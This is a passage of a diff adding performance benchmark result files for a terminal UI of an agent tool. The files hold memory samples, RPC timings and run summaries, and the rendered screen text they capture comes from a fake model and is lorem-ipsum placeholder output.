"t_ms": 1585
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "session.active_list",
|
||||
"t_ms": 1710
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 2944
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 2944
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "terminal.resize",
|
||||
"t_ms": 3044
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 3094
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "session.active_list",
|
||||
"t_ms": 3220
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 3322
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 3346
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "terminal.resize",
|
||||
"t_ms": 3422
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 3497
|
||||
}
|
||||
],
|
||||
"summary": {
|
||||
"result": "completed",
|
||||
"cap_hit": false,
|
||||
"cap_hit_basis": null,
|
||||
"at_messages": null,
|
||||
"exit": {
|
||||
"exitCode": 0,
|
||||
"signal": 0,
|
||||
"t": 4530
|
||||
},
|
||||
"stream_done": true,
|
||||
"msgs_streamed": 300,
|
||||
"events_streamed": 1051,
|
||||
"pty_bytes_total": 43054,
|
||||
"pty_data_callbacks": 44,
|
||||
"first_byte_ms": 71,
|
||||
"session_create_ms": 202,
|
||||
"stream_start_ms": 1410,
|
||||
"vmhwm_kb": 186164,
|
||||
"cg_peak": null,
|
||||
"drain_max_loop_lag_ms": 6,
|
||||
"drain_lag_violations": 0,
|
||||
"drain_ok": true,
|
||||
"digest": "7775bee02e57da2be0f73880cfe828666f51e08209a28ba81ec599817b95eb2c"
|
||||
},
|
||||
"digest_text": "Excepteur irure nostrud tempor ipsum cupidatat voluptate ullamco labore sit.│Amet culpa cillum commodo enim adipiscing deserunt nulla duis veniam sed.│Quis eiusmod lorem occaecat reprehenderit exercitation incididunt dolor proident velit laboris magna.│Esse aliquip aliqua consectetur officia fugiat consequat minim elit mollit pariatur aute quis.│Anim excepteur irure nostrud tempor ipsum cupidatat voluptate ullamco labore sit sunt esse aliquip.│Magna amet culpa cillum.│Aute quis eiusmod lorem occaecat.│ └─ ● Terminal(\"Proident velit laboris magna.\") (0.3s)│ └─ Args:│Proident velit laboris magna amet culpa cillum commodo enim adipiscing deserunt nulla.│Elit mollit pariatur aute quis eiusmod lorem occaecat reprehenderit exercitation incididunt dolor proident.│Ullamco labore sit sunt esse aliquip aliqua consectetur officia fugiat consequat minim elit mollit.│Nulla duis veniam sed.│Dolor proident velit laboris magna.│Result:│Pariatur aute quis eiusmod lorem occaecat reprehenderit exercitation incididunt dolor proident velit laboris.│Sit sunt esse aliquip aliqua consectetur officia fugiat consequat minim elit mollit pariatur aute.││┊ Minimelitmollitpariaturautequiseiusmodloremoccaecatreprehenderitexercitationincididuntdolor.Officia│fugiatconsequatminimelitmollitpariaturautequiseiusmodloremoccaecatreprehenderitexercitation.│┊ Temporipsumcupidatatvoluptateullamcolaboresitsuntessealiquipaliqua.Excepteurirurenostrudtempor│ipsumcupidatatvoluptateullamcolaboresitsuntesse.Veniamsedanimexcepteurirurenostrudtempor│ipsumcupidatatvoluptateullamcolaboresit.││• Suntessealiquipaliquaconsectetur.│• Consequatminimelitmollitpariaturautequis.│• Eiusmodloremoccaecatreprehenderit.││─ ts│constx4=58│functionf3(){│returnx│}││Exercitationincididuntdolorproidentvelitlaborismagnaametculpacillum.Loremoccaecatreprehenderit┃exercitationincididuntdolorproidentvelitlaborismagnaamet.─ ready │ fake model │ 3s │ voice off ─ …es-agent (…i-native-engine)❯│┃Excepteur irure nostrud tempor ipsum cupidatat voluptate ullamco labore sit.│Amet culpa cillum commodo enim adipiscing deserunt nulla duis veniam sed.│Quis eiusmod lorem occaecat reprehenderit exercitation incididunt dolor proident velit laboris magna.│Esse aliquip aliqua consectetur officia fugiat consequat minim elit mollit pariatur aute quis.│Anim excepteur irure nostrud tempor ipsum cupidatat voluptate ullamco labore sit sunt esse aliquip.│Magna amet culpa cillum.│Aute quis eiusmod lorem occaecat.│ └─ ● Terminal(\"Proident velit laboris magna.\") (0.3s)│ └─ Args:│Proident velit laboris magna amet culpa cillum commodo enim adipiscing deserunt nulla.│Elit mollit pariatur aute quis eiusmod lorem occaecat reprehenderit exercitation incididunt dolor proident.│Ullamco labore sit sunt esse aliquip aliqua consectetur officia fugiat consequat minim elit mollit.│Nulla duis veniam sed.│Dolor proident velit laboris magna.│Result:│Pariatur aute quis eiusmod lorem occaecat reprehenderit exercitation incididunt dolor proident velit laboris.│Sit sunt esse aliquip aliqua consectetur officia fugiat consequat minim elit mollit pariatur aute.││┊ Minimelitmollitpariaturautequiseiusmodloremoccaecatreprehenderitexercitationincididuntdolor.Officia│fugiatconsequatminimelitmollitpariaturautequiseiusmodloremoccaecatreprehenderitexercitation.│┊ Temporipsumcupidatatvoluptateullamcolaboresitsuntessealiquipaliqua.Excepteurirurenostrudtempor│ipsumcupidatatvoluptateullamcolaboresitsuntesse.Veniamsedanimexcepteurirurenostrudtempor│ipsumcupidatatvoluptateullamcolaboresit.││• Suntessealiquipaliquaconsectetur.│• Consequatminimelitmollitpariaturautequis.│• Eiusmodloremoccaecatreprehenderit.││─ ts│constx4=58│functionf3(){│returnx│}││Exercitationincididuntdolorproidentvelitlaborismagnaametculpacillum.Loremoccaecatreprehenderit│exercitationincididuntdolorproidentvelitlaborismagnaamet.┃─ ready │ fake model │ 3s │ voice off ─ …es-agent (…i-native-engine)❯4"
|
||||
}
|
||||
408
bench/results/2026-06-10T2043-50e3471-gate-ink-ink-r1.json
Normal file
@@ -0,0 +1,408 @@
|
||||
{
|
||||
"meta": {
|
||||
"cell": "gate",
|
||||
"ui": "ink",
|
||||
"config": "ink",
|
||||
"mode": "digest",
|
||||
"rep": 1,
|
||||
"run_id": "mq8jd80l-wl8i",
|
||||
"utc": "2026-06-10T20:43:29.877Z",
|
||||
"sha": "50e34713b",
|
||||
"node": "/home/daimon/.local/share/fnm/node-versions/v26.3.0/installation/bin/node",
|
||||
"node_version": "v26.3.0",
|
||||
"pty": {
|
||||
"cols": 120,
|
||||
"rows": 40,
|
||||
"term": "xterm-256color"
|
||||
},
|
||||
"heap_mb": 8192,
|
||||
"memory_max": null,
|
||||
"opentui_cap": null,
|
||||
"fixture": {
|
||||
"path": "/home/daimon/github/worktrees/hermes-agent/lively-thrush/hermes-agent/bench/.cache/fixture-300.ndjson",
|
||||
"msgs": 300,
|
||||
"sha256": "ac81e975c299da7d50cfda7fc0fee33c356bd31a4e17a7f0f8e49905e205051a"
|
||||
},
|
||||
"sample_every": 100,
|
||||
"mode_params": {},
|
||||
"ui_pid": 2350865,
|
||||
"gw_pid": 2350874,
|
||||
"cgroup": null,
|
||||
"load_avg_at_start": [
|
||||
0.07,
|
||||
0.17,
|
||||
0.29
|
||||
],
|
||||
"instrumented": false
|
||||
},
|
||||
"samples": [
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 26,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 0,
|
||||
"pty_writes": 0,
|
||||
"rss_kb": 56380,
|
||||
"pss_kb": 30130,
|
||||
"private_dirty_kb": 18964,
|
||||
"vmhwm_kb": 56432,
|
||||
"utime_ticks": 1,
|
||||
"stime_ticks": 1
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 1034,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 6615,
|
||||
"pty_writes": 12,
|
||||
"rss_kb": 108556,
|
||||
"pss_kb": 69243,
|
||||
"private_dirty_kb": 49468,
|
||||
"vmhwm_kb": 108556,
|
||||
"utime_ticks": 23,
|
||||
"stime_ticks": 2
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 1442,
|
||||
"msgs": 100,
|
||||
"events": 355,
|
||||
"pty_bytes": 10643,
|
||||
"pty_writes": 15,
|
||||
"rss_kb": 124760,
|
||||
"pss_kb": 85364,
|
||||
"private_dirty_kb": 64888,
|
||||
"vmhwm_kb": 124768,
|
||||
"utime_ticks": 32,
|
||||
"stime_ticks": 3
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 1493,
|
||||
"msgs": 200,
|
||||
"events": 738,
|
||||
"pty_bytes": 18617,
|
||||
"pty_writes": 18,
|
||||
"rss_kb": 158216,
|
||||
"pss_kb": 118777,
|
||||
"private_dirty_kb": 98344,
|
||||
"vmhwm_kb": 158248,
|
||||
"utime_ticks": 41,
|
||||
"stime_ticks": 4
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 1544,
|
||||
"msgs": 300,
|
||||
"events": 1051,
|
||||
"pty_bytes": 22520,
|
||||
"pty_writes": 19,
|
||||
"rss_kb": 192596,
|
||||
"pss_kb": 153125,
|
||||
"private_dirty_kb": 132660,
|
||||
"vmhwm_kb": 192732,
|
||||
"utime_ticks": 50,
|
||||
"stime_ticks": 5
|
||||
},
|
||||
{
|
||||
"kind": "done",
|
||||
"t_ms": 1546,
|
||||
"msgs": 300,
|
||||
"events": 1051,
|
||||
"pty_bytes": 22520,
|
||||
"pty_writes": 19,
|
||||
"rss_kb": 192964,
|
||||
"pss_kb": 153493,
|
||||
"private_dirty_kb": 133028,
|
||||
"vmhwm_kb": 193460,
|
||||
"utime_ticks": 50,
|
||||
"stime_ticks": 5
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 2049,
|
||||
"msgs": 300,
|
||||
"events": null,
|
||||
"pty_bytes": 34018,
|
||||
"pty_writes": 23,
|
||||
"rss_kb": 186672,
|
||||
"pss_kb": 147199,
|
||||
"private_dirty_kb": 126736,
|
||||
"vmhwm_kb": 195184,
|
||||
"utime_ticks": 60,
|
||||
"stime_ticks": 5
|
||||
},
|
||||
{
|
||||
"kind": "final",
|
||||
"t_ms": 2909,
|
||||
"msgs": 300,
|
||||
"events": 1051,
|
||||
"pty_bytes": 34063,
|
||||
"pty_writes": 24,
|
||||
"rss_kb": 186680,
|
||||
"pss_kb": 147209,
|
||||
"private_dirty_kb": 126744,
|
||||
"vmhwm_kb": 195184,
|
||||
"utime_ticks": 60,
|
||||
"stime_ticks": 5
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 3057,
|
||||
"msgs": 300,
|
||||
"events": null,
|
||||
"pty_bytes": 37577,
|
||||
"pty_writes": 26,
|
||||
"rss_kb": 187024,
|
||||
"pss_kb": 147553,
|
||||
"private_dirty_kb": 127088,
|
||||
"vmhwm_kb": 195184,
|
||||
"utime_ticks": 63,
|
||||
"stime_ticks": 5
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 4072,
|
||||
"msgs": 300,
|
||||
"events": null,
|
||||
"pty_bytes": 48287,
|
||||
"pty_writes": 32,
|
||||
"rss_kb": 187088,
|
||||
"pss_kb": 147617,
|
||||
"private_dirty_kb": 127152,
|
||||
"vmhwm_kb": 195184,
|
||||
"utime_ticks": 65,
|
||||
"stime_ticks": 6
|
||||
}
|
||||
],
|
||||
"events": [
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 176
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "commands.catalog",
|
||||
"t_ms": 201
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 201
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "setup.status",
|
||||
"t_ms": 201
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 201
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "session.create",
|
||||
"t_ms": 201
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 201
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 201
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 226
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 226
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "session.active_list",
|
||||
"t_ms": 226
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 226
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 226
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 1416
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 1416
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 1442
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 1442
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 1466
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 1492
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 1517
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 1517
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 1517
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 1546
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 1567
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 1567
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 1592
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 1592
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 1616
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 1616
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 1616
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "session.active_list",
|
||||
"t_ms": 1717
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 2930
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 2930
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "terminal.resize",
|
||||
"t_ms": 3030
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 3081
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "session.active_list",
|
||||
"t_ms": 3207
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 3332
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 3332
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "terminal.resize",
|
||||
"t_ms": 3410
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 3488
|
||||
}
|
||||
],
|
||||
"summary": {
|
||||
"result": "completed",
|
||||
"cap_hit": false,
|
||||
"cap_hit_basis": null,
|
||||
"at_messages": null,
|
||||
"exit": {
|
||||
"exitCode": 0,
|
||||
"signal": 0,
|
||||
"t": 4520
|
||||
},
|
||||
"stream_done": true,
|
||||
"msgs_streamed": 300,
|
||||
"events_streamed": 1051,
|
||||
"pty_bytes_total": 48513,
|
||||
"pty_data_callbacks": 42,
|
||||
"first_byte_ms": 65,
|
||||
"session_create_ms": 201,
|
||||
"stream_start_ms": 1416,
|
||||
"vmhwm_kb": 195184,
|
||||
"cg_peak": null,
|
||||
"drain_max_loop_lag_ms": 2,
|
||||
"drain_lag_violations": 0,
|
||||
"drain_ok": true,
|
||||
"digest": "7775bee02e57da2be0f73880cfe828666f51e08209a28ba81ec599817b95eb2c"
|
||||
},
|
||||
"digest_text": "Excepteur irure nostrud tempor ipsum cupidatat voluptate ullamco labore sit.│Amet culpa cillum commodo enim adipiscing deserunt nulla duis veniam sed.│Quis eiusmod lorem occaecat reprehenderit exercitation incididunt dolor proident velit laboris magna.│Esse aliquip aliqua consectetur officia fugiat consequat minim elit mollit pariatur aute quis.│Anim excepteur irure nostrud tempor ipsum cupidatat voluptate ullamco labore sit sunt esse aliquip.│Magna amet culpa cillum.│Aute quis eiusmod lorem occaecat.│ └─ ● Terminal(\"Proident velit laboris magna.\") (0.3s)│ └─ Args:│Proident velit laboris magna amet culpa cillum commodo enim adipiscing deserunt nulla.│Elit mollit pariatur aute quis eiusmod lorem occaecat reprehenderit exercitation incididunt dolor proident.│Ullamco labore sit sunt esse aliquip aliqua consectetur officia fugiat consequat minim elit mollit.│Nulla duis veniam sed.│Dolor proident velit laboris magna.│Result:│Pariatur aute quis eiusmod lorem occaecat reprehenderit exercitation incididunt dolor proident velit laboris.│Sit sunt esse aliquip aliqua consectetur officia fugiat consequat minim elit mollit pariatur aute.││┊ Minimelitmollitpariaturautequiseiusmodloremoccaecatreprehenderitexercitationincididuntdolor.Officia│fugiatconsequatminimelitmollitpariaturautequiseiusmodloremoccaecatreprehenderitexercitation.│┊ Temporipsumcupidatatvoluptateullamcolaboresitsuntessealiquipaliqua.Excepteurirurenostrudtempor│ipsumcupidatatvoluptateullamcolaboresitsuntesse.Veniamsedanimexcepteurirurenostrudtempor│ipsumcupidatatvoluptateullamcolaboresit.││• Suntessealiquipaliquaconsectetur.│• Consequatminimelitmollitpariaturautequis.│• Eiusmodloremoccaecatreprehenderit.││─ ts│constx4=58│functionf3(){│returnx│}││Exercitationincididuntdolorproidentvelitlaborismagnaametculpacillum.Loremoccaecatreprehenderit┃exercitationincididuntdolorproidentvelitlaborismagnaamet.─ ready │ fake model │ 3s │ voice off ─ …es-agent (…i-native-engine)❯│┃Excepteur irure nostrud tempor ipsum cupidatat voluptate ullamco labore sit.│Amet culpa cillum commodo enim adipiscing deserunt nulla duis veniam sed.│Quis eiusmod lorem occaecat reprehenderit exercitation incididunt dolor proident velit laboris magna.│Esse aliquip aliqua consectetur officia fugiat consequat minim elit mollit pariatur aute quis.│Anim excepteur irure nostrud tempor ipsum cupidatat voluptate ullamco labore sit sunt esse aliquip.│Magna amet culpa cillum.│Aute quis eiusmod lorem occaecat.│ └─ ● Terminal(\"Proident velit laboris magna.\") (0.3s)│ └─ Args:│Proident velit laboris magna amet culpa cillum commodo enim adipiscing deserunt nulla.│Elit mollit pariatur aute quis eiusmod lorem occaecat reprehenderit exercitation incididunt dolor proident.│Ullamco labore sit sunt esse aliquip aliqua consectetur officia fugiat consequat minim elit mollit.│Nulla duis veniam sed.│Dolor proident velit laboris magna.│Result:│Pariatur aute quis eiusmod lorem occaecat reprehenderit exercitation incididunt dolor proident velit laboris.│Sit sunt esse aliquip aliqua consectetur officia fugiat consequat minim elit mollit pariatur aute.││┊ Minimelitmollitpariaturautequiseiusmodloremoccaecatreprehenderitexercitationincididuntdolor.Officia│fugiatconsequatminimelitmollitpariaturautequiseiusmodloremoccaecatreprehenderitexercitation.│┊ Temporipsumcupidatatvoluptateullamcolaboresitsuntessealiquipaliqua.Excepteurirurenostrudtempor│ipsumcupidatatvoluptateullamcolaboresitsuntesse.Veniamsedanimexcepteurirurenostrudtempor│ipsumcupidatatvoluptateullamcolaboresit.││• Suntessealiquipaliquaconsectetur.│• Consequatminimelitmollitpariaturautequis.│• Eiusmodloremoccaecatreprehenderit.││─ ts│constx4=58│functionf3(){│returnx│}││Exercitationincididuntdolorproidentvelitlaborismagnaametculpacillum.Loremoccaecatreprehenderit│exercitationincididuntdolorproidentvelitlaborismagnaamet.┃─ ready │ fake model │ 3s │ voice off ─ …es-agent (…i-native-engine)❯4"
|
||||
}
|
||||
@@ -0,0 +1,223 @@
|
||||
{
|
||||
"meta": {
|
||||
"cell": "gate",
|
||||
"ui": "opentui",
|
||||
"config": "otui-capped",
|
||||
"mode": "digest",
|
||||
"rep": 0,
|
||||
"run_id": "mq8jdjbz-h2u1",
|
||||
"utc": "2026-06-10T20:43:44.543Z",
|
||||
"sha": "50e34713b",
|
||||
"node": "/home/daimon/.local/share/fnm/node-versions/v26.3.0/installation/bin/node",
|
||||
"node_version": "v26.3.0",
|
||||
"pty": {
|
||||
"cols": 120,
|
||||
"rows": 40,
|
||||
"term": "xterm-256color"
|
||||
},
|
||||
"heap_mb": 8192,
|
||||
"memory_max": null,
|
||||
"opentui_cap": 3000,
|
||||
"fixture": {
|
||||
"path": "/home/daimon/github/worktrees/hermes-agent/lively-thrush/hermes-agent/bench/.cache/fixture-300.ndjson",
|
||||
"msgs": 300,
|
||||
"sha256": "ac81e975c299da7d50cfda7fc0fee33c356bd31a4e17a7f0f8e49905e205051a"
|
||||
},
|
||||
"sample_every": 100,
|
||||
"mode_params": {},
|
||||
"ui_pid": 2351291,
|
||||
"gw_pid": 2351309,
|
||||
"cgroup": null,
|
||||
"load_avg_at_start": [
|
||||
0.05,
|
||||
0.17,
|
||||
0.28
|
||||
],
|
||||
"instrumented": false
|
||||
},
|
||||
"samples": [
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 25,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 0,
|
||||
"pty_writes": 0,
|
||||
"rss_kb": 54500,
|
||||
"pss_kb": 28086,
|
||||
"private_dirty_kb": 16976,
|
||||
"vmhwm_kb": 54544,
|
||||
"utime_ticks": 1,
|
||||
"stime_ticks": 0
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 1032,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 28911,
|
||||
"pty_writes": 13,
|
||||
"rss_kb": 105296,
|
||||
"pss_kb": 65020,
|
||||
"private_dirty_kb": 48488,
|
||||
"vmhwm_kb": 107988,
|
||||
"utime_ticks": 17,
|
||||
"stime_ticks": 2
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 1383,
|
||||
"msgs": 100,
|
||||
"events": 355,
|
||||
"pty_bytes": 31413,
|
||||
"pty_writes": 16,
|
||||
"rss_kb": 112456,
|
||||
"pss_kb": 72079,
|
||||
"private_dirty_kb": 55520,
|
||||
"vmhwm_kb": 112468,
|
||||
"utime_ticks": 22,
|
||||
"stime_ticks": 2
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 1384,
|
||||
"msgs": 200,
|
||||
"events": 738,
|
||||
"pty_bytes": 31413,
|
||||
"pty_writes": 16,
|
||||
"rss_kb": 112480,
|
||||
"pss_kb": 72103,
|
||||
"private_dirty_kb": 55544,
|
||||
"vmhwm_kb": 112480,
|
||||
"utime_ticks": 23,
|
||||
"stime_ticks": 2
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 1384,
|
||||
"msgs": 300,
|
||||
"events": 1051,
|
||||
"pty_bytes": 31413,
|
||||
"pty_writes": 16,
|
||||
"rss_kb": 112488,
|
||||
"pss_kb": 72111,
|
||||
"private_dirty_kb": 55552,
|
||||
"vmhwm_kb": 112508,
|
||||
"utime_ticks": 23,
|
||||
"stime_ticks": 2
|
||||
},
|
||||
{
|
||||
"kind": "done",
|
||||
"t_ms": 1385,
|
||||
"msgs": 300,
|
||||
"events": 1051,
|
||||
"pty_bytes": 31413,
|
||||
"pty_writes": 16,
|
||||
"rss_kb": 112612,
|
||||
"pss_kb": 72235,
|
||||
"private_dirty_kb": 55676,
|
||||
"vmhwm_kb": 112640,
|
||||
"utime_ticks": 23,
|
||||
"stime_ticks": 3
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 2035,
|
||||
"msgs": 300,
|
||||
"events": null,
|
||||
"pty_bytes": 35562,
|
||||
"pty_writes": 19,
|
||||
"rss_kb": 274188,
|
||||
"pss_kb": 231176,
|
||||
"private_dirty_kb": 213680,
|
||||
"vmhwm_kb": 301852,
|
||||
"utime_ticks": 106,
|
||||
"stime_ticks": 11
|
||||
},
|
||||
{
|
||||
"kind": "final",
|
||||
"t_ms": 2863,
|
||||
"msgs": 300,
|
||||
"events": 1051,
|
||||
"pty_bytes": 35634,
|
||||
"pty_writes": 20,
|
||||
"rss_kb": 274220,
|
||||
"pss_kb": 231208,
|
||||
"private_dirty_kb": 213712,
|
||||
"vmhwm_kb": 301852,
|
||||
"utime_ticks": 107,
|
||||
"stime_ticks": 11
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 3045,
|
||||
"msgs": 300,
|
||||
"events": null,
|
||||
"pty_bytes": 46545,
|
||||
"pty_writes": 24,
|
||||
"rss_kb": 274276,
|
||||
"pss_kb": 231264,
|
||||
"private_dirty_kb": 213768,
|
||||
"vmhwm_kb": 301852,
|
||||
"utime_ticks": 108,
|
||||
"stime_ticks": 11
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 4051,
|
||||
"msgs": 300,
|
||||
"events": null,
|
||||
"pty_bytes": 57867,
|
||||
"pty_writes": 29,
|
||||
"rss_kb": 274312,
|
||||
"pss_kb": 231300,
|
||||
"private_dirty_kb": 213804,
|
||||
"vmhwm_kb": 301852,
|
||||
"utime_ticks": 109,
|
||||
"stime_ticks": 11
|
||||
}
|
||||
],
|
||||
"events": [
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "session.create",
|
||||
"t_ms": 175
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "startup.catalog",
|
||||
"t_ms": 175
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "model.options",
|
||||
"t_ms": 175
|
||||
}
|
||||
],
|
||||
"summary": {
|
||||
"result": "completed",
|
||||
"cap_hit": false,
|
||||
"cap_hit_basis": null,
|
||||
"at_messages": null,
|
||||
"exit": {
|
||||
"exitCode": 0,
|
||||
"signal": 0,
|
||||
"t": 4725
|
||||
},
|
||||
"stream_done": true,
|
||||
"msgs_streamed": 300,
|
||||
"events_streamed": 1051,
|
||||
"pty_bytes_total": 62678,
|
||||
"pty_data_callbacks": 35,
|
||||
"first_byte_ms": 128,
|
||||
"session_create_ms": 175,
|
||||
"stream_start_ms": 1382,
|
||||
"vmhwm_kb": 301852,
|
||||
"cg_peak": null,
|
||||
"drain_max_loop_lag_ms": 3,
|
||||
"drain_lag_violations": 0,
|
||||
"drain_ok": true,
|
||||
"digest": "d5e9558583159eac9e72e450848f98505ac9f48804d4f8c80a18baaab0f0f28c"
|
||||
},
|
||||
"digest_text": "⚕ Hermes Agent · opentui · ready ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── $ terminal Culpa cillum commodo enim. · 3.7s (2 lines) ◇ read_file Duis veniam sed anim. · 3.8s (18 lines) ◦ edit_file Tempor ipsum cupidatat voluptate. · 3.9s (7 lines) ◦ grep Sunt esse aliquip aliqua. · 4.0s (2 lines) ● web_search Consequat minim elit mollit. · 0.1s (18 lines) ◆ write_file Eiusmod lorem occaecat reprehenderit. · 0.2s (7 lines) $ terminal Proident velit laboris magna. · 0.3s (2 lines) Minim elit mollit pariatur aute quis eiusmod lorem occaecat reprehenderit exercitation incididunt dolor. Officia fugiat consequat minim elit mollit pariatur aute quis eiusmod lorem occaecat reprehenderit exercitation. ⧉ copy ⚕ Tempor ipsum cupidatat voluptate ullamco labore sit sunt esse aliquip aliqua. Excepteur irure nostrud tempor ipsum cupidatat voluptate ullamco labore sit sunt esse. Veniam sed anim excepteur irure nostrud tempor ipsum cupidatat voluptate ullamco labore sit. - Sunt esse aliquip aliqua consectetur. - Consequat minim elit mollit pariatur aute quis. - Eiusmod lorem occaecat reprehenderit. const x4 = 58 function f3() { return x } Exercitation incididunt dolor proident velit laboris magna amet culpa cillum. Lorem occaecat reprehenderit exercitation incididunt dolor proident velit laboris magna amet. ⧉ copy ▄ ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── ● fake-model │ up: Ns │ …/lively-thrush/hermes-agent ❯ Type your message"
|
||||
}
|
||||
@@ -0,0 +1,223 @@
|
||||
{
|
||||
"meta": {
|
||||
"cell": "gate",
|
||||
"ui": "opentui",
|
||||
"config": "otui-capped",
|
||||
"mode": "digest",
|
||||
"rep": 1,
|
||||
"run_id": "mq8jdupc-im2a",
|
||||
"utc": "2026-06-10T20:43:59.280Z",
|
||||
"sha": "50e34713b",
|
||||
"node": "/home/daimon/.local/share/fnm/node-versions/v26.3.0/installation/bin/node",
|
||||
"node_version": "v26.3.0",
|
||||
"pty": {
|
||||
"cols": 120,
|
||||
"rows": 40,
|
||||
"term": "xterm-256color"
|
||||
},
|
||||
"heap_mb": 8192,
|
||||
"memory_max": null,
|
||||
